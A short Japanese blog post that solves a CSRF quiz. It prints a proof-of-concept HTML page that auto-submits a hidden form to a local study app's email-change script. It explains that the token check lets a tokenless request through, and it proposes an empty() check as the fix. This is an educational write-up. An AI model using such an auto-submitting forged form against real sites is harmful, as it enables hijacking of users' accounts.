CSRF対策のバグに関するクイズを解いてみました

某所でCSRF対策のバグに関するクイズが公開されていたので、腕試しに解いてみました。

以下が自分のPOCです。

<html>
<body onload="document.forms[0].submit()">
<form action="http://localhost/CSRF-study/chgmail.php" method="POST">
<input type="hidden" name="mail" value="you-are-hacked@foo.com">
</form>
</body>
<!-- chgmail.php のトークンの確認方法だとトークンなしでPOSTした場合 NULL === NULL となりCSRFのチェックをすり抜ける -->
</html>


ユーザーがmypage.phpを閲覧した状態で上記のコードが記述されたページにアクセスすると、メールアドレスが"you-are-hacked@foo.com"に変更されます。

題材となっているアプリケーションはマイページのmypage.php、メールアドレス変更フォームのchgmailform.php、そして chgmailform.phpの入力内容をもとにメールアドレスを変更するプログラムのchgmail.phpという構成になっています。

chgmailform.phpでワンタイムトークンを生成してメールアドレスと一緒にPOSTし、chgmail.phpでワンタイムトークンの確認をしています。以下が該当のコード部分です。

if ($_POST['token'] !== $_SESSION['token']) { // ワンタイムトークン確認
die('正規の画面からご使用ください');
}

chgmail.phpではワンタイムトークンの確認をする際、ワンタイムトークンがNULLかどうかのチェックをしていません。(演算子 !== の意味は「$a が $b と等しくないか、同じ型でない場合に TRUE」) そのためトークンなしでPOSTした場合 NULL === NULL となりCSRFのチェックをすり抜けます。

対策としては上記のif文の前にempty($_SESSION['token'])を挿入してワンタイムトークンの有無を確認し、トークンがNULLだったらエラーとして処理を終了させる、というので大丈夫かな。

以上

Leave a Reply

Your email address will not be published. Required fields are marked *